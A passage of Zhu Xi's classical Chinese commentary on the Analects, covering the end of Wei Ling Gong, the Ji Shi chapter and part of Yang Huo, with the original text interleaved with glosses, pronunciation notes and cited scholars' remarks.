行乎哉。行篤、行不之行、去聲。貊、亡百反。子張意在得行於外、故夫子反於身而言之、猶答干祿問達之意也。篤、厚也。蠻、南蠻。貊、北狄。二千五百家為州。立、則見其參於前也。在輿、則見其倚於衡也。夫然後行。參、七南反。夫、音扶。其者、指忠信篤敬而言。參、讀如毋往參焉之參、言與我相參也。衡、軛也。言其於忠信篤敬念念不忘、隨其所在、常若有見、雖欲頃刻離之而不可得。然後一言一行、自然不離於忠信篤敬、而蠻貊可行也。子張書諸紳。紳、大帶之垂者。書之、欲其不忘也。程子曰學要鞭辟近裏、著己而已。博學而篤志、切問而近思。言忠信、行篤敬。立則見其參於前、在輿則見其倚於衡。只此是學。質美者明得盡、查滓便渾化、卻與天地同體。其次惟莊敬以持養之、及其至則一也。\n子曰直哉史魚邦有道、如矢。邦無道、如矢。史、官名。魚、衛大夫、名怅。如矢、言直也。史魚自以不能進賢退不肖、既死猶以尸諫、故夫子稱其直。事見家語。君子哉蘧伯玉邦有道、則仕。邦無道、則可卷而懷之。伯玉出處、合於聖人之道、故曰君子。卷、收也。懷、藏也。如於孫林父甯殖放弒之謀、不對而出、亦其事也。楊氏曰史魚之直、未盡君子之道。若蘧伯玉、然後可免於亂世。若史魚之如矢、則雖欲卷而懷之、有不可得也。\n子曰可與言而不與之言、失人。不可與言而與之言、失言。知者不失人、亦不失言。知、去聲。\n子曰志士仁人、無求生以害仁、有殺身以成仁。志士、有志之士。仁人、則成德之人也。理當死而求生、則於其心有不安矣、是害其心之德也。當死而死、則心安而德全矣。程子曰實理得之於心自別。實理者、實見得是、實見得非也。古人有捐軀隕命者、若不實見得、惡能如此。須是實見得生不重於義、生不安於死也。故有殺身以成仁者、只是成就一箇是而已。\n子貢問為仁。子曰工欲善其事、必先利其器。居是邦也、事其大夫之賢者、友其士之仁者。賢以事言、仁以德言。夫子嘗謂子貢悅不若己者、故以是告之。欲其有所嚴憚切磋以成其德也。程子曰子貢問為仁、非問仁也、故孔子告之以為仁之資而已。\n顏淵問為邦。顏子王佐之才、故問治天下之道。曰為邦者、謙辭。子曰行夏之時、夏時、謂以斗柄初昏建寅之月為歲首也。天開於子、地闢於丑、人生於寅、故斗柄建此三辰之月、皆可以為歲首。而三代迭用之、夏以寅為人正、商以丑為地正、周以子為天正也。然時以作事、則歲月自當以人為紀。故孔子嘗曰、吾得夏時焉而說者以為謂夏小正之屬。蓋取其時之正與其令之善、而於此又以告顏子也。乘殷之輅、輅、音路、亦作路。商輅、木輅也。輅者、大車之名。古者以木為車而已、至商而有輅之名、蓋始異其制也。周人飾以金玉、則過侈而易敗、不若商輅之樸素渾堅而等威已辨、為質而得其中也。服周之冕、周冕有五、祭服之冠也。冠上有覆、前後有旒。黃帝以來、蓋已有之、而制度儀等、至周始備。然其為物小、而加於眾體之上、故雖華而不為靡、雖費而不及奢。夫子取之、蓋亦以為文而得其中也。樂則韶舞。取其盡善盡美。放鄭聲、遠佞人。鄭聲淫、佞人殆。遠、去聲。放、謂禁絕之。鄭聲、鄭國之音。佞人、卑諂辯給之人。殆、危也。程子曰問政多矣、惟顏淵告之以此。蓋三代之制、皆因時損益、及其久也、不能無弊。周衰、聖人不作、故孔子斟酌先王之禮、立萬世常行之道、發此以為之兆爾。由是求之、則餘皆可考也。張子曰禮樂、治之法也。放鄭聲、遠佞人、法外意也。一日不謹、則法壞矣。虞夏君臣更相飭戒、意蓋如此。又曰法立而能守、則德可久、業可大。鄭聲佞人、能使人喪其所守、故放遠之。尹氏曰此所謂百王不易之大法。孔子之作春秋、蓋此意也。孔顏雖不得行之於時、然其為治之法、可得而見矣。\n子曰人無遠慮、必有近憂。蘇氏曰人之所履者、容足之外、皆為無用之地、而不可廢也。故慮不在千里之外、則患在几席之下矣。\n子曰已矣乎吾未見好德如好色者也。好、去聲。已矣乎、歎其終不得而見也。\n子曰臧文仲其竊位者與。知柳下惠之賢、而不與立也。者與之與、平聲。竊位、言不稱其位而有愧於心、如盜得而陰據之也。柳下惠、魯大夫展獲、字禽、食邑柳下、謚曰惠。與立、謂與之並立於朝。范氏曰臧文仲為政於魯、若不知賢、是不明也。知而不舉、是蔽賢也。不明之罪小、蔽賢之罪大。故孔子以為不仁、又以為竊位。\n子曰躬自厚而薄責於人、則遠怨矣。遠、去聲。責己厚、故身益修。責人薄、故人易從。所以人不得而怨之。\n子曰不曰『如之何如之何』者、吾末如之何也已矣。如之何如之何者、熟思而審處之辭也。不如是而妄行、雖聖人亦無如之何矣。\n子曰群居終日、言不及義、好行小慧、難矣哉好、去聲。小慧、私智也。言不及義、則放辟邪侈之心滋。好行小慧、則行險僥倖之機熟。難矣哉者、言其無以入德、而將有患害也。\n子曰君子義以為質、禮以行之、孫以出之、信以成之。君子哉孫、去聲。義者制事之本、故以為質榦。而行之必有節文、出之必以退遜、成之必在誠實、乃君子之道也。程子曰義以為質、如質榦然。禮行此、孫出此、信成此。此四句只是一事、以義為本。又曰『敬以直內、則義以方外。』『義以為質、則禮以行之、孫以出之、信以成之。』\n子曰君子病無能焉、不病人之不己知也。\n子曰君子疾沒世而名不稱焉。范氏曰君子學以為己、不求人知。然沒世而名不稱焉、則無為善之實可知矣。\n子曰君子求諸己、小人求諸人。謝氏曰君子無不反求諸己、小人反是。此君子小人所以分也。楊氏曰君子雖不病人之不己知、然亦疾沒世而名不稱也。雖疾沒世而名不稱、然所以求者、亦反諸己而已。小人求諸人、故違道干譽、無所不至。三者文不相蒙、而義實相足、亦記言者之意。\n子曰君子矜而不爭、群而不黨。莊以持己曰矜。然無乖戾之心、故不爭。和以處眾曰群。然無阿比之意、故不黨。\n子曰君子不以言舉人、不以人廢言。\n子貢問曰有一言而可以終身行之者乎。子曰其恕乎己所不欲、勿施於人。推己及物、其施不窮、故可以終身行之。尹氏曰學貴於知要。子貢之問、可謂知要矣。孔子告以求仁之方也。推而極之、雖聖人之無我、不出乎此。終身行之、不亦宜乎。\n子曰吾之於人也、誰毀誰譽。如有所譽者、其有所試矣。譽、平聲。毀者、稱人之惡而損其真。譽者、揚人之善而過其實。夫子無是也。然或有所譽者、則必嘗有以試之、而知其將然矣。聖人善善之速、而無所苟如此。若其惡惡、則已緩矣。是以雖有以前知其惡、而終無所毀也。斯民也、三代之所以直道而行也。斯民者、今此之人也。三代、夏、商、周也。直道、無私曲也。言吾之所以無所毀譽者、蓋以此民、即三代之時所以善其善、惡其惡而無所私曲之民。故我今亦不得而枉其是非之實也。尹氏曰孔子之於人也、豈有意於毀譽之哉。其所以譽之者、蓋試而知其美故也。斯民也、三代所以直道而行、豈得容私於其閒哉。\n子曰吾猶及史之闕文也、有馬者借人乘之。今亡矣夫夫、音扶。楊氏曰史闕文、馬借人、此二事孔子猶及見之。今亡矣夫、悼時之益偷也。愚謂此必有為而言。蓋雖細故、而時變之大者可知矣。胡氏曰此章義疑、不可強解。\n子曰巧言亂德、小不忍則亂大謀。巧言、變亂是非、聽之使人喪其所守。小不忍、如婦人之仁、匹夫之勇皆是。\n子曰眾惡之、必察焉。眾好之、必察焉。好、惡、並去聲。楊氏曰惟仁者能好惡人。眾好惡之而不察、則或蔽於私矣。\n子曰人能弘道、非道弘人。弘、廓而大之也。人外無道、道外無人。然人心有覺、而道體無為。故人能大其道、道不能大其人也。張子曰心能盡性、人能弘道也。性不知檢其心、非道弘人也。\n子曰過而不改、是謂過矣。過而能改、則復於無過。惟不改則其過遂成、而將不及改矣。\n子曰吾嘗終日不食、終夜不寢、以思、句。無益、句。不如學也。此為思而不學者言之。蓋勞心以必求、不如遜志而自得也。李氏曰夫子非思而不學者、特垂語以教人爾。\n子曰君子謀道不謀食。耕也、餒在其中矣。學也、祿在其中矣。君子憂道不憂貧。餒、奴罪反。耕所以謀食、而未必得食。學所以謀道、而祿在其中。然其學也、憂不得乎道而已。非為憂貧之故、而欲為是以得祿也。尹氏曰君子治其本而不卹其末、豈以在外者為憂樂哉。\n子曰知及之、仁不能守之。雖得之、必失之。知、去聲。知足以知此理、而私欲間之、則無以有之於身矣。知及之、仁能守之。不莊以贋之、則民不敬。贋、臨也。謂臨民也。知此理而無私欲以間之、則所知者在我而不失矣。然猶有不莊者、蓋氣習之偏、或有厚於內而不嚴於外者、是以民不見其可畏而慢易之。下句放此。知及之、仁能守之、莊以贋之。動之不以禮、未善也。動之、動民也。猶曰鼓舞而作興之云爾。禮、謂義理之節文。愚謂學至於仁、則善有諸己而大本立矣。贋之不莊、動之不以禮、乃其氣稟學問之小疵、然亦非盡善之道也。故夫子歷言之、使知德愈全則責愈備、不可以為小節而忽之也。\n子曰君子不可小知、而可大受也。小人不可大受、而可小知也。此言觀人之法。知、我知之也。受、彼所受也。蓋君子於細事未必可觀、而材德足以任重。小人雖器量淺狹、而未必無一長可取。\n子曰民之於仁也、甚於水火。水火、吾見蹈而死者矣、未見蹈仁而死者也。民之於水火、所賴以生、不可一日無。其於仁也亦然。但水火外物、而仁在己。無水火、不過害人之身、而不仁則失其心。是仁有甚於水火、而尤不可以一日無也。況水火或有時而殺人、仁則未嘗殺人、亦何憚而不為哉。李氏曰此夫子勉人為仁之語。下章放此。\n子曰當仁不讓於師。當仁、以仁為己任也。雖師亦無所遜、言當勇往而必為也。蓋仁者、人所自有而自為之、非有爭也、何遜之有。程子曰為仁在己、無所與遜。若善名為〔一〕外、則不可不遜。\n〔一〕為、清仿宋大字本作在。\n子曰君子貞而不諒。貞、正而固也。諒、則不擇是非而必於信。\n子曰事君、敬其事而後其食。後、與後獲之後同。食、祿也。君子之仕也、有官守者修其職、有言責者盡其忠。皆以敬吾之事而已、不可先有求祿之心也。\n子曰有教無類。人性皆善、而其類有善惡之殊者、氣習之染也。故君子有教、則人皆可以復於善、而不當復論其類之惡矣。\n子曰道不同、不相為謀。為、去聲。不同、如善惡邪正之異。\n子曰辭達而已矣。辭、取達意而止、不以富麗為工。\n師冕見、及階、子曰階也。及席、子曰席也。皆坐、子告之曰某在斯、某在斯。見、賢遍反。師、樂師、瞽者。冕、名。再言某在斯、歷舉在坐之人以詔之。\n師冕出。子張問曰與師言之道與。與、平聲。聖門學者、於夫子之一言一動、無不存心省察如此。子曰然。固相師之道也。相、去聲。相、助也。古者瞽必有相、其道如此。蓋聖人於此、非作意而為之、但盡其道而已。尹氏曰聖人處己為人、其心一致、無不盡其誠故也。有志於學者、求聖人之心、於斯亦可見矣。范氏曰聖人不侮鰥寡、不虐無告、可見於此。推之天下、無一物不得其所矣。\n季氏第十六洪氏曰此篇或以為齊論。凡十四章。\n季氏將伐顓臾。顓、音專。臾、音俞。顓臾、國名。魯附庸也。冉有、季路見於孔子曰季氏將有事於顓臾。見、賢遍反。按左傳史記、二子仕季氏不同時。此云爾者、疑子路嘗從孔子自衛反魯、再仕季氏、不久而復之衛也。孔子曰求無乃爾是過與。與、平聲。冉求為季氏聚斂、尤用事。故夫子獨責之。夫顓臾、昔者先王以為東蒙主、且在邦域之中矣、是社稷之臣也。何以伐為。夫、音扶。東蒙、山名。先王封顓臾於此山之下、使主其祭、在魯地七百里之中。社稷、猶云公家。是時四分魯國、季氏取其二、孟孫叔孫各有其一。獨附庸之國尚為公臣、季氏又欲取以自益。故孔子言顓臾乃先王封國、則不可伐。在邦域之中、則不必伐。是社稷之臣、則非季氏所當伐也。此事理之至當、不易之定體、而一言盡其曲折如此、非聖人不能也。冉有曰夫子欲之、吾二臣者皆不欲也。夫子、指季孫。冉有實與謀、以孔子非之、故歸咎於季氏。孔子曰求周任有言曰『陳力就列、不能者止。』危而不持、顛而不扶、則將焉用彼相矣。任、平聲。焉、於虔反。相、去聲、下同。周任、古之良史。陳、布也。列、位也。相、瞽者之相也。言二子不欲則當諫、諫而不聽、則當去也。且爾言過矣。虎兕出於柙、龜玉毀於櫝中、是誰之過與。兕、徐履反。柙、戶甲反。櫝、音獨。與、平聲。兕、野牛也。柙、檻也。櫝、匱也。言在柙而逸、在櫝而毀、典守者不得辭其過。明二子居其位而不去、則季氏之惡、己不得不任其責也。冉有曰今夫顓臾、固而近於費。今不取、後世必為子孫憂。夫、音扶。固、謂城郭完固。費、季氏之私邑。此則冉求之飾辭、然亦可見其實與季氏之謀矣。孔子曰求君子疾夫舍曰欲之、而必為之辭。夫、音扶。舍、上聲。欲之、謂貪其利。丘也聞有國有家者、不患寡而患不均、不患貧而患不安。蓋均無貧、和無寡、安無傾。寡、謂民少。貧、謂財乏。均、謂各得其分。安、謂上下相安。季氏之欲取顓臾、患寡與貧耳。然是時季氏據國、而魯公無民、則不均矣。君弱臣強、互生嫌隙、則不安矣。均則不患於貧而和、和則不患於寡而安、安則不相疑忌、而無傾覆之患。夫如是、故遠人不服、則修文德以來之。既來之、則安之。夫、音扶。內治修、然後遠人服。有不服、則修德以來之、亦不當勤兵於遠。今由與求也、相夫子、遠人不服而不能來也。邦分崩離析而不能守也。子路雖不與謀、而素不能輔之以義、亦不得為無罪、故并責之。遠人、謂顓臾。分崩離析、謂四分公室、家臣屢叛。而謀動干戈於邦內。吾恐季孫之憂、不在顓臾、而在蕭牆之內也。干、楯也。戈、戟也。蕭牆、屏也。言不均不和、內變將作。其後哀公果欲以越伐魯而去季氏。謝氏曰當是時、三家強、公室弱、冉求又欲伐顓臾以附益之。夫子所以深罪之、為其瘠魯以肥三家也。洪氏曰二子仕於季氏、凡季氏所欲為、必以告於夫子。則因夫子之言而救止者、宜亦多矣。伐顓臾之事、不見於經傳、其以夫子之言而止也與。\n孔子曰天下有道、則禮樂征伐自天子出。天下無道、則禮樂征伐自諸侯出。自諸侯出、蓋十世希不失矣。自大夫出、五世希不失矣。陪臣執國命、三世希不失矣。先王之制、諸侯不得變禮樂、專征伐。陪臣、家臣也。逆理愈甚、則其失之愈速。大約世數、不過如此。天下有道、則政不在大夫。言不得專政。天下有道、則庶人不議。上無失政、則下無私議。非箝其口使不敢言也。此章通論天下之勢。\n孔子曰祿之去公室、五世矣。政逮於大夫、四世矣。故夫三桓之子孫、微矣。夫、音扶。魯自文公薨、公子遂殺子赤、立宣公、而君失其政。歷成、襄、昭、定、凡五公。逮、及也。自季武子始專國政、歷悼、平、桓子、凡四世、而為家臣陽虎所執。三桓、三家、皆桓公之後。此以前章之說推之、而知其當然也。此章專論魯事、疑與前章皆定公時語。蘇氏曰禮樂征伐自諸侯出、宜諸侯之強也、而魯以失政。政逮於大夫、宜大夫之強也、而三桓以微。何也。強生於安、安生於上下之分定。今諸侯大夫皆陵其上、則無以令其下矣。故皆不久而失之也。\n孔子曰益者三友、損者三友。友直、友諒、友多聞、益矣。友便辟、友善柔、友便佞、損矣。便、平聲。辟、婢亦反。友直、則聞其過。友諒、則進於誠。友多聞、則進於明。便、習熟也。便辟、謂習於威儀而不直。善柔、謂工於媚悅而不諒。便佞、謂習於口語、而無聞見之實。三者損益、正相反也。尹氏曰自天子至於庶人、未有不須友以成者。而其損益有如是者、可不謹哉。\n孔子曰益者三樂、損者三樂。樂節禮樂、樂道人之善、樂多賢友、益矣。樂驕樂、樂佚遊、樂宴樂、損矣。樂、五教反。禮樂之樂、音岳。驕樂宴樂之樂、音洛。節、謂辨其制度聲容之節。驕樂、則侈肆而不知節。佚遊、則惰慢而惡聞善。宴樂、則淫溺而狎小人。三者損益、亦相反也。尹氏曰君子之於好樂、可不謹哉。\n孔子曰侍於君子有三愆言未及之而言謂之躁、言及之而不言謂之隱、未見顏色而言謂之瞽。君子、有德位之通稱。愆、過也。瞽、無目、不能察言觀色。尹氏曰時然後言、則無三者之過矣。\n孔子曰君子有三戒少之時、血氣未定、戒之在色。及其壯也、血氣方剛、戒之在鬥。及其老也、血氣既衰、戒之在得。血氣、形之所待以生者、血陰而氣陽也。得、貪得也。隨時知戒、以理勝之、則不為血氣所使也。范氏曰聖人同於人者血氣也、異於人者志氣也。血氣有時而衰、志氣則無時而衰也。少未定、壯而剛、老而衰者、血氣也。戒於色、戒於鬥、戒於得者、志氣也。君子養其志氣、故不為血氣所動、是以年彌高而德彌邵也。\n孔子曰君子有三畏畏天命、畏大人、畏聖人之言。畏者、嚴憚之意也。天命者、天所賦之正理也。知其可畏、則其戒謹恐懼、自有不能已者。而付畀之重、可以不失矣。大人聖言、皆天命所當畏。知畏天命、則不得不畏之矣。小人不知天命而不畏也、狎大人、侮聖人之言。侮、戲玩也。不知天命、故不識義理、而無所忌憚如此。○尹氏曰三畏者、修己之誠當然也。小人不務修身誠己、則何畏之有。\n孔子曰生而知之者、上也。學而知之者、次也。困而學之、又其次也。困而不學、民斯為下矣。困、謂有所不通。言人之氣質不同、大約有此四等。楊氏曰生知學知以至困學、雖其質不同、然及其知之一也。故君子惟學之為貴。困而不學、然後為下。\n孔子曰君子有九思視思明、聽思聰、色思溫、貌思恭、言思忠、事思敬、疑思問、忿思難、見得思義。難、去聲。視無所蔽、則明無不見。聽無所壅、則聰無不聞。色、見於面者。貌、舉身而言。思問、則疑不蓄。思難、則忿必懲。思義、則得不苟。程子曰九思各專其一。謝氏曰未至於從容中道、無時而不自省察也。雖有不存焉者寡矣、此之謂思誠。\n孔子曰見善如不及、見不善如探湯。吾見其人矣、吾聞其語矣。探、吐南反。真知善惡而誠好惡之、顏、曾、閔、冉之徒、蓋能之矣。語、蓋古語也。隱居以求其志、行義以達其道。吾聞其語矣、未見其人也。求其志、守其所達之道也。達其道、行其所求之志也。蓋惟伊尹、太公之流、可以當之。當時若顏子、亦庶乎此。然隱而未見、又不幸而蚤死、故夫子云然。\n齊景公有馬千駟、死之日、民無德而稱焉。伯夷叔齊餓於首陽之下、民到于今稱之。駟、四馬也。首陽、山名。其斯之謂與。與、平聲。胡氏曰程子以為第十二篇錯簡『誠不以富、亦祗以異』、當在此章之首。今詳文勢、似當在此句之上。言人之所稱、不在於富、而在於異也。愚謂此說近是、而章首當有孔子曰字、蓋闕文耳。大抵此書後十篇多闕誤。\n陳亢問於伯魚曰子亦有異聞乎。亢、音剛。亢以私意窺聖人、疑必陰厚其子對曰未也。嘗獨立、鯉趨而過庭。曰『學詩乎。』對曰『未也。』『不學詩、無以言。』鯉退而學詩。事理通達、而心氣和平、故能言。他日又獨立、鯉趨而過庭。曰『學禮乎。』對曰『未也。』『不學禮、無以立。』鯉退而學禮。品節詳明、而德性堅定、故能立。聞斯二者。當獨立之時、所聞不過如此、其無異聞可知。陳亢退而喜曰問一得三、聞詩、聞禮、又聞君子之遠其子也。遠、去聲。尹氏曰孔子之教其子、無異於門人、故陳亢以為遠其子。\n邦君之妻、君稱之曰夫人、夫人自稱曰小童。邦人稱之曰君夫人、稱諸異邦曰寡小君。異邦人稱之亦曰君夫人。寡、寡德、謙辭。吳氏曰凡語中所載如此類者、不知何謂。或古有之、或夫子嘗言之、不可考也。\n論語集注卷九\n陽貨第十七凡二十六章。\n陽貨欲見孔子、孔子不見、歸孔子豚。孔子時其亡也、而往拜之、遇諸塗。歸、如字、一作饋。陽貨、季氏家臣、名虎。嘗囚季桓子而專國政。欲令孔子來見己、而孔子不往。貨以禮、大夫有賜於士、不得受於其家、則往拜其門。故瞰孔子之亡而歸之豚、欲令孔子來拜而見之也。謂孔子曰來予與爾言。曰懷其寶而迷其邦、可謂仁乎。曰不可。好從事而亟失時、可謂知乎。曰不可。日月逝矣、歲不我與。孔子曰諾。吾將仕矣。好、亟、知、並去聲。懷寶迷邦、謂懷藏道德、不救國之迷亂。亟、數也。失時、謂不及事幾之會。將者、且然而未必之辭。貨語皆譏孔子而諷使速仕。孔子固未嘗如此、而亦非不欲仕也、但不仕於貨耳。故直據理答之、不復與辯、若不諭其意者。陽貨之欲見孔子、雖其善意、然不過欲使助己為亂耳。故孔子不見者、義也。其往拜者、禮也。必時其亡而往者、欲其稱也。遇諸塗而不避者、不終絕也。隨問而對者、理之直也。對而不辯者、言之孫而亦無所詘也。楊氏曰揚雄謂孔子於陽貨也、敬所不敬、為詘身以信道。非知孔子者。蓋道外無身、身外無道。身詘矣而可以信道、吾未之信也。\n子曰性相近也、習相遠也。此所謂性、兼氣質而言者也。氣質之性、固有美惡之不同矣。然以其初而言、則皆不甚相遠也。但習於善則善、習於惡則惡、於是始相遠耳。程子曰此言氣質之性。非言性之本也。若言其本、則性即是理、理無不善、孟子之言性善是也。何相近之有哉。\n子曰唯上知與下愚不移。知、去聲。此承上章而言。人之氣質相近之中、又有美惡一定、而非習之所能移者。程子曰人性本善、有不可移者何也。語其性則皆善也、語其才則有下愚之不移。所謂下愚有二焉自暴自棄也。人苟以善自治、則無不可移、雖昏愚之至、皆可漸磨而進也。惟自暴者拒之以不信、自棄者絕之以不為、雖聖人與居、不能化而入也、仲尼之所謂下愚也。然其質非必昏且愚也、往往強戾而才力有過人者、商辛是也。聖人以其自絕於善、謂之下愚、然考其歸則誠愚也。或曰此與上章當合為一、子曰二字、蓋衍文耳。\n子之武城、聞弦歌之聲。弦、琴瑟也。時子游為武城宰、以禮樂為教、故邑人皆弦歌也。夫子莞爾而笑、曰割雞焉用牛刀。莞、華版反。焉、於虔反。莞爾、小笑貌、蓋喜之也。因言其治小邑、何必用此大道也。子游對曰昔者偃也聞諸夫子曰『君子學道則愛人、小人學道則易使也。』易、去聲。君子小人、以位言之。子游所稱、蓋夫子之常言。言君子小人、皆不可以不學。故武城雖小、亦必教以禮樂。子曰二三子偃之言是也。前言戲之耳。嘉子游之篤信、又以解門人之惑也。治有大小、而其治之必用禮樂、則其為道一也。但眾人多不能用、而子游獨行之。故夫子驟聞而深喜之、因反其言以戲之。而子游以正對、故復是其言、而自實其戲也。\n公山弗擾以費畔、召、子欲往。弗擾、季氏宰。與陽貨共執桓子、據邑以叛。\n子路不說、曰末之也已、何必公山氏之之也。說、音悅。末、無也。言道既不行、無所往矣、何必公山氏之往乎。子曰\n夫召我者而豈徒哉。如有用我者、吾其為東周乎。夫、音扶。豈徒哉、言必用我也。為東周、言興周道於東方。程子曰聖人以天下無不可有為之人、亦無不可改過之人、故欲往。然而終不往者、知其必不能改故也。\n子張問仁於孔子。孔子曰能行五者於天下、為仁矣。請問之。曰恭、寬、信、敏、惠。恭則不侮、寬則得眾、信則人任焉、敏則有功、惠則足以使人。行是五者、則心存而理得矣。於天下、言無適而不然、猶所謂雖之夷狄不可棄者。五者之目、蓋因子張所不足而言耳。任、倚仗也、又言其效如此。張敬夫曰能行此五者於天下、則其心公平而周遍可知矣、然恭其本與。李氏曰此章與六言、六蔽、五美、四惡之類、皆與前後文體大不相似。\n佛肸召、子欲往。佛、音弼。肸、許密反。佛肸、晉大夫趙氏之中牟宰也。子路曰昔者由也聞諸夫子曰『親於其身為不善者、君子不入也。』佛肸以中牟畔、子之往也、如之何子路恐佛肸之浼夫子、故問此以止夫子之行。親、猶自也。不入、不入其黨也。子曰然。有是言也。不曰堅乎、磨而不磷。不曰白乎、涅而不緇。磷、力刃反。涅、乃結反。磷、薄也。涅、染皁物。言人之不善、不能浼己。楊氏曰磨不磷、涅不緇、而後無可無不可。堅白不足、而欲自試於磨涅、其不磷緇也者、幾希。吾豈匏瓜也哉。焉能繫而不食。焉、於虔反。匏、瓠也。匏瓜繫於一處而不能飲食、人則不如是也。張敬夫曰子路昔者之所聞、君子守身之常法。夫子今日之所言、聖人體道之大權也。然夫子於公山佛肸之召皆欲往者、以天下無不可變之人、無不可為之事也。其卒不往者、知其人之終不可變而事之終不可為耳。一則生物之仁、一則知人之智也。\n子曰由也、女聞六言六蔽矣乎。對曰未也。女、音汝、下同。蔽、遮掩也。居吾語女。語、去聲。○禮君子問更端、則起而對。故孔子諭子路、使還坐而告之。好仁不好學、其蔽也愚。好知不好學、其蔽也蕩。好信不好學、其蔽也賊。好直不好學、其蔽也絞。好勇不好學、其蔽也亂。好剛不好學、其蔽也狂。好、知、並去聲。六言皆美德、然徒好之而不學以明其理、則各有所蔽。愚、若可陷可罔之類。蕩、謂窮高極廣而無所止。賊、謂傷害於物。勇者、剛之發。剛者、勇之體。狂、躁率也。范氏曰子路勇於為善、其失之者、未能好學以明之也、故告之以此。曰勇、曰剛、曰信、曰直、又皆所以救其偏也。\n子曰小子何莫學夫詩。夫、音扶。小子、弟子也。詩、可以興、感發志意。可以觀、考見得失。可以群、和而不流。可以怨。怨而不怒。邇之事父、遠之事君。人倫之道、詩無不備、二者舉重而言。多識於鳥獸草木之名。其緒餘又足以資多識。學詩之法、此章盡之。讀是經者、所宜盡心也。\n子謂伯魚曰女為周南召南矣乎。人而不為周南召南、其猶正牆面而立也與。女、音汝。與、平聲。為、猶學也。周南召南、詩首篇名。所言皆修身齊家之事。正牆面而立、言即其至近之地、而一物無所見、一步不可行。\n子曰禮云禮云、玉帛云乎哉。樂云樂云、鐘鼓云乎哉。敬而將之以玉帛、則為禮。和而發之以鐘鼓、則為樂。遺其本而專事其末、則豈禮樂之謂哉。程子曰禮只是一箇序、樂只是一箇和。只此兩字、含蓄多少義理。天下無一物無禮樂〔一〕。且如置此兩椅、一不正、便是無序。無序便乖、乖便不和。又如盜賊至為不道、然亦有禮樂。蓋必有總屬、必相聽順、乃能為盜。不然、則叛亂無統、不能一日相聚而為盜也。禮樂無處無之、學者須要識得。\n〔一〕樂原作義、據清仿宋大字本改。\n子曰色厲而內荏、譬諸小人、其猶穿窬之盜也與。荏、而審反。與、平聲。厲、威嚴也。荏、柔弱也。小人、細民也。穿、穿壁。窬、踰牆。言其無實盜名、而常畏人知也。\n子曰鄉原、德之賊也。鄉者、鄙俗之意。原、與愿同。荀子原愨、注讀作愿是也。鄉原、鄉人之愿者也。蓋其同流合汙以媚於世、故在鄉人之中、獨以愿稱。夫子以其似德非德、而反亂乎德、故以為德之賊而深惡之。詳見孟子末篇。\n子曰道聽而塗說、德之棄也。雖聞善言、不為己有、是自棄其德也。王氏曰君子多識前言往行以畜其德、道聽塗說、則棄之矣。\n子曰鄙夫可與事君也與哉。與、平聲。鄙夫、庸惡陋劣之稱。其未得之也、患得之。既得之、患失之。何氏曰患得之、謂患不能得之。苟患失之、無所不至矣。小則吮癰舐痔、大則弒父與君、皆生於患失而已。胡氏曰許昌靳裁之有言曰『士之品大概有三志於道德者、功名不足以累其心。志於功名者、富貴不足以累其心。志於富貴而已者、則亦無所不至矣。』志於富貴、即孔子所謂鄙夫也。\n子曰古者民有三疾、今也或是之亡也。氣失其平則為疾、故氣岙之偏者亦謂之疾。昔所謂疾、今亦無之、傷俗之益衰也。古之狂也肆、今之狂也蕩。古之矜也廉、今之矜也忿戾。古之愚也直、今之愚也詐而已矣。狂者、志願太高。肆、謂不拘小節。蕩則踰大閑矣。矜者、持守太嚴。廉、謂稜角玮厲。忿戾則至於爭矣。愚者、暗昧不明。直、謂徑行自遂。詐則挾私妄作矣。范氏曰末世滋偽。豈惟賢者不如古哉。民性之蔽、亦與古人異矣。\n子曰巧言令色、鮮矣仁。重出。\n子曰惡紫之奪朱也、惡鄭聲之亂雅樂也、惡利口之覆邦家者。惡、去聲。覆、芳服反。朱、正色。紫、閒色。雅、正也。利口、捷給。覆、傾敗也。范氏曰天下之理、正而勝者常少、不正而勝者常多、聖人所以惡之也。利口之人、以是為非、以非為是、以賢為不肖、以不肖為賢。人君苟悅而信之、則國家之覆也不難矣。\n子曰予欲無言。學者多以言語觀聖人、而不察其天理流行之實、有不待言而著者。是以徒得其言、而不得其所以言、故夫子發此以警之。子貢曰子如不言、則小子何述焉。子貢正以言語觀聖人者、故疑而問之。子曰天何言哉。四時行焉、百物生焉、天何言哉。四時行、百物生、莫非天理發見流行之實、不待言而可見。聖人一動一靜、莫非妙道精義之發、亦天而已、豈待言而顯哉。此亦開示子貢之切、惜乎其終不喻也。程子曰孔子之道、譬如日星之明、猶患門人未能盡曉、故曰『予欲無言』。若顏子則便默識、其他則未免疑問、故曰『小子何述』。又曰『天何言哉、四時行焉、百物生焉』、則可謂至明白矣。愚按此與前篇無隱之意相發、學者詳之。\n孺悲欲見孔子、孔子辭以疾。將命者出戶、取瑟而歌。使之聞之。孺悲、魯人、嘗學士喪禮於孔子。當是時必有以得罪者。故辭以疾、而又使知其非疾、以警教之也。程子曰此孟子所謂不屑之教誨、所以深教之也。\n宰我問三年之喪、期已久矣。期、音基、下同。期、周年也。君子三年不為禮、禮必壞。三年不為樂、樂必崩。恐居喪不習而崩壞也。舊穀既沒、新穀既升、鑽燧改火、期可已矣。鑽、祖官反。沒、盡也。升、登也。燧、取火之木也。改火、春取榆柳之火、夏取棗杏之火、夏季取桑柘之火、秋取柞楢之火、冬取槐檀之火、亦一年而周也。已、止也。言期年則天運一周、時物皆變、喪至此可止也。尹氏曰短喪之說、下愚且恥言之。宰我親學聖人之門、而以是為問者、有所疑於心而不敢強焉爾。子曰食夫稻、衣夫錦、於女安乎。曰安。夫、音扶、下同。衣、去聲。女、音汝、下同。禮。父母之喪既殯、食粥、麤衰。既葬、疏食、水飲、受以成布。期而小祥、始食菜果、練冠縓緣、要絰不除、無食稻衣錦之理。夫子欲宰我反求諸心、自得其所以不忍者。故問之以此、而宰我不察也。女安則為之夫君子之居喪、食旨不甘、聞樂不樂、居處不安、故不為也。今女安、則為之樂、上如字、下音洛。此夫子之言也。旨、亦甘也。初言女安則為之、絕之之辭。又發其不忍之端、以警其不察。而再言女安則為之以深責之。宰我出。子曰予之不仁也子生三年、然後免於父母之懷。夫三年之喪、天下之通喪也。予也有三年之愛於其父母乎。宰我既出、夫子懼其真以為可安而遂行之、故深探其本而斥之。言由其不仁、故愛親之薄如此也。懷、抱也。又言君子所以不忍於親、而喪必三年之故。使之聞之、或能反求而終得其本心也。范氏曰喪雖止於三年、然賢者之情則無窮也。特以聖人為之中制而不敢過、故必俯而就之。非以三年之喪、為足以報其親也。所謂三年然後免於父母之懷、特以責宰我之無恩、欲其有以跂而及之爾。\n子曰飽食終日、無所用心、難矣哉不有博弈者乎、為之猶賢乎已。博、局戲也。弈、圍棋也。已、止也。李氏曰聖人非